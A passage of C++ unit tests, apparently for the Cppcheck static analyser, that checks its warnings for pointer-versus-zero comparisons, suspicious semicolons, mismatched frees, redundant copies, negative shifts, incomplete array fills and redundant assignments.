an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n 